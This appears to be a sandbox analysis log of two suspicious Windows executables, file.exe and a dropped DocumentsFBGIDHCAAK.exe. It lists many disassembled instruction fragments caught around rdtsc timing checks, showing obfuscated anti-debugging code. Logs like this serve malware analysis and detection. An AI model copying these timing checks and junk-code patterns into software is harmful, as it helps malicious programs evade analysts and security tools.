Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED64D2 second address: ED64D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED661B second address: ED6641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F0F90B9EDFEh 0x00000012 jmp 00007F0F90B9EDF2h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6641 second address: ED6645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6BD8 second address: ED6C12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF9h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0F90B9EDF8h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C12 second address: ED6C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C18 second address: ED6C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0F90B9EDF3h 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F0F90B9EDECh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C41 second address: ED6C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0F91376D56h 0x0000000a jmp 00007F0F91376D5Eh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F0F91376D61h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE352 second address: EDE357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE357 second address: EDE38F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Bh 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F0F91376D65h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F0F91376D5Eh 0x0000001a jp 00007F0F91376D56h 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE38F second address: EDE399 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0F90B9EDECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0207 second address: EE0212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0F91376D56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9029E second address: 4B902AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902AD second address: 4B902D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 7Eh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F91376D69h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902D1 second address: 4B902D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902D7 second address: 4B902DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902DB second address: 4B90383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov ah, dh 0x0000000e pushfd 0x0000000f jmp 00007F0F90B9EDEEh 0x00000014 and cl, 00000018h 0x00000017 jmp 00007F0F90B9EDEBh 0x0000001c popfd 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 call 00007F0F90B9EDF4h 0x00000026 pushad 0x00000027 popad 0x00000028 pop eax 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F0F90B9EDF7h 0x00000030 jmp 00007F0F90B9EDF3h 0x00000035 popfd 0x00000036 jmp 00007F0F90B9EDF8h 0x0000003b popad 0x0000003c popad 0x0000003d pop ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F0F90B9EDF7h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B903D4 second address: 4B90473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F0F91376D67h 0x00000010 pop ebx 0x00000011 pushfd 0x00000012 jmp 00007F0F91376D64h 0x00000017 and si, F318h 0x0000001c jmp 00007F0F91376D5Bh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F0F91376D64h 0x0000002b or cx, DD78h 0x00000030 jmp 00007F0F91376D5Bh 0x00000035 popfd 0x00000036 push eax 0x00000037 push edx 0x00000038 call 00007F0F91376D66h 0x0000003d pop eax 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90473 second address: 4B90493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebp, esp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov bh, 35h 0x0000000c call 00007F0F90B9EDF2h 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90493 second address: 4B904CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0F91376D5Dh 0x00000009 adc al, 00000026h 0x0000000c jmp 00007F0F91376D61h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pop ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 call 00007F0F91376D5Ah 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6162 second address: DF6166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90552 second address: 4B90591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 movsx ebx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ch, dh 0x00000013 pushfd 0x00000014 jmp 00007F0F91376D68h 0x00000019 or esi, 4FEE67A8h 0x0000001f jmp 00007F0F91376D5Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90591 second address: 4B90597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90597 second address: 4B9059B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9059B second address: 4B9059F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B905DE second address: 4B905E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B905E4 second address: 4B905E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B905E8 second address: 4B9060D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F0F91376D59h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0F91376D62h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9060D second address: 4B9061F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F90B9EDEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9061F second address: 4B90660 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F0F91376D63h 0x00000012 sbb ch, FFFFFFBEh 0x00000015 jmp 00007F0F91376D69h 0x0000001a popfd 0x0000001b movzx esi, dx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90660 second address: 4B906EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e call 00007F0F90B9EDF1h 0x00000013 mov bx, cx 0x00000016 pop eax 0x00000017 pushfd 0x00000018 jmp 00007F0F90B9EDEDh 0x0000001d add cl, 00000056h 0x00000020 jmp 00007F0F90B9EDF1h 0x00000025 popfd 0x00000026 popad 0x00000027 mov eax, dword ptr [eax] 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F0F90B9EDF7h 0x00000030 or cl, FFFFFF8Eh 0x00000033 jmp 00007F0F90B9EDF9h 0x00000038 popfd 0x00000039 popad 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906EF second address: 4B90710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F0F91376D5Bh 0x00000012 mov ebx, eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90710 second address: 4B9073A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F10022426AFh 0x0000000e push 762327D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [762C0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 push esi 0x00000055 mov edi, 3BE28AAEh 0x0000005a pop edi 0x0000005b push eax 0x0000005c push edx 0x0000005d mov ebx, eax 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9073A second address: 4B907DA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0F91376D5Eh 0x00000008 sbb ecx, 5D448CF8h 0x0000000e jmp 00007F0F91376D5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 and dword ptr [ebp-04h], 00000000h 0x0000001b pushad 0x0000001c mov bh, ch 0x0000001e pushfd 0x0000001f jmp 00007F0F91376D61h 0x00000024 jmp 00007F0F91376D5Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov edx, dword ptr [ebp+0Ch] 0x0000002e jmp 00007F0F91376D66h 0x00000033 mov esi, edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F0F91376D5Eh 0x0000003c add ax, 38E8h 0x00000041 jmp 00007F0F91376D5Bh 0x00000046 popfd 0x00000047 push ecx 0x00000048 mov dx, 718Ah 0x0000004c pop ebx 0x0000004d popad 0x0000004e mov al, byte ptr [edx] 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F0F91376D5Dh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907DA second address: 4B907FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, cx 0x00000010 movzx ecx, dx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907FA second address: 4B907DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c call 00007F0F91376D5Eh 0x00000011 call 00007F0F91376D62h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 jmp 00007F0F91376D60h 0x0000001d popad 0x0000001e jne 00007F0F91376CD7h 0x00000024 mov al, byte ptr [edx] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F0F91376D5Dh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90886 second address: 4B90934 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c jmp 00007F0F90B9EDEEh 0x00000011 dec edi 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007F0F90B9EDEAh 0x0000001c sub ax, 04B8h 0x00000021 jmp 00007F0F90B9EDEBh 0x00000026 popfd 0x00000027 popad 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007F0F90B9EDF4h 0x00000031 jmp 00007F0F90B9EDF5h 0x00000036 popfd 0x00000037 popad 0x00000038 popad 0x00000039 lea ebx, dword ptr [edi+01h] 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F0F90B9EDECh 0x00000043 jmp 00007F0F90B9EDF5h 0x00000048 popfd 0x00000049 mov dx, si 0x0000004c popad 0x0000004d mov al, byte ptr [edi+01h] 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 mov ecx, edi 0x00000055 mov esi, edx 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90934 second address: 4B9093A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9093A second address: 4B9093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9093E second address: 4B90942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90942 second address: 4B90996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F0F90B9EDF7h 0x00000012 sub si, A34Eh 0x00000017 jmp 00007F0F90B9EDF9h 0x0000001c popfd 0x0000001d jmp 00007F0F90B9EDF0h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90996 second address: 4B909A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F91376D5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B909A8 second address: 4B90A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e jmp 00007F0F90B9EDF4h 0x00000013 movzx esi, di 0x00000016 popad 0x00000017 jne 00007F1002236E91h 0x0000001d jmp 00007F0F90B9EDEDh 0x00000022 mov ecx, edx 0x00000024 pushad 0x00000025 mov ecx, 6239E9A3h 0x0000002a mov eax, 1AF77CFFh 0x0000002f popad 0x00000030 shr ecx, 02h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 movsx ebx, si 0x00000039 pushfd 0x0000003a jmp 00007F0F90B9EDF8h 0x0000003f or ax, D218h 0x00000044 jmp 00007F0F90B9EDEBh 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A29 second address: 4B90A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F91376D64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A41 second address: 4B90A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 jmp 00007F0F90B9EDF7h 0x00000017 mov ecx, edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A6A second address: 4B90A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A6E second address: 4B90A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A74 second address: 4B90AE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c pushad 0x0000000d mov edi, ecx 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 rep movsb 0x00000015 jmp 00007F0F91376D65h 0x0000001a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000021 jmp 00007F0F91376D5Eh 0x00000026 mov eax, ebx 0x00000028 jmp 00007F0F91376D60h 0x0000002d mov ecx, dword ptr [ebp-10h] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F0F91376D67h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AE6 second address: 4B90AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AEC second address: 4B90B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f pushad 0x00000010 mov cl, bl 0x00000012 mov si, 2B35h 0x00000016 popad 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90B0A second address: 4B90B10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90B10 second address: 4B905DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007F0F91376D60h 0x0000000f pop esi 0x00000010 jmp 00007F0F91376D60h 0x00000015 pop ebx 0x00000016 jmp 00007F0F91376D60h 0x0000001b leave 0x0000001c jmp 00007F0F91376D60h 0x00000021 retn 0008h 0x00000024 cmp dword ptr [ebp-2Ch], 10h 0x00000028 mov eax, dword ptr [ebp-40h] 0x0000002b jnc 00007F0F91376D55h 0x0000002d push eax 0x0000002e lea edx, dword ptr [ebp-00000590h] 0x00000034 push edx 0x00000035 call esi 0x00000037 push 00000008h 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F0F91376D65h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C78 second address: 4B90C89 instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, 2271h 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C89 second address: 4B90CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F0F91376D5Bh 0x00000010 and esi, 2C39DCDEh 0x00000016 jmp 00007F0F91376D69h 0x0000001b popfd 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90CC2 second address: 4B90CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F90B9EDEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90CD0 second address: 4B90CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90CD4 second address: 4B90CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ebx, 795096EEh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 34F1D0 second address: 34EACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D18D7h], ebx 0x00000012 push dword ptr [ebp+122D0E29h] 0x00000018 clc 0x00000019 mov dword ptr [ebp+122D308Fh], ecx 0x0000001f call dword ptr [ebp+122D1867h] 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D2976h], esi 0x0000002c cmc 0x0000002d xor eax, eax 0x0000002f sub dword ptr [ebp+122D2976h], ebx 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 pushad 0x0000003a mov dx, 24DEh 0x0000003e popad 0x0000003f mov dword ptr [ebp+122D2976h], edx 0x00000045 mov dword ptr [ebp+122D2A1Bh], eax 0x0000004b jmp 00007F0F91376D65h 0x00000050 mov esi, 0000003Ch 0x00000055 jmp 00007F0F91376D60h 0x0000005a jmp 00007F0F91376D63h 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 sub dword ptr [ebp+122D1903h], edi 0x00000069 lodsw 0x0000006b or dword ptr [ebp+122D34DAh], ebx 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 pushad 0x00000076 mov edi, 20A4E022h 0x0000007b popad 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 jnp 00007F0F91376D68h 0x00000086 nop 0x00000087 jmp 00007F0F91376D69h 0x0000008c push eax 0x0000008d pushad 0x0000008e je 00007F0F91376D66h 0x00000094 jmp 00007F0F91376D60h 0x00000099 push eax 0x0000009a push edx 0x0000009b jmp 00007F0F91376D64h 0x000000a0 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4CC75E second address: 4CC76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4CC76A second address: 4CC770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4CCDE3 second address: 4CCDF1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4CCDF1 second address: 4CCE02 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4D00A5 second address: 4D00AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4D00AB second address: 4D00AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
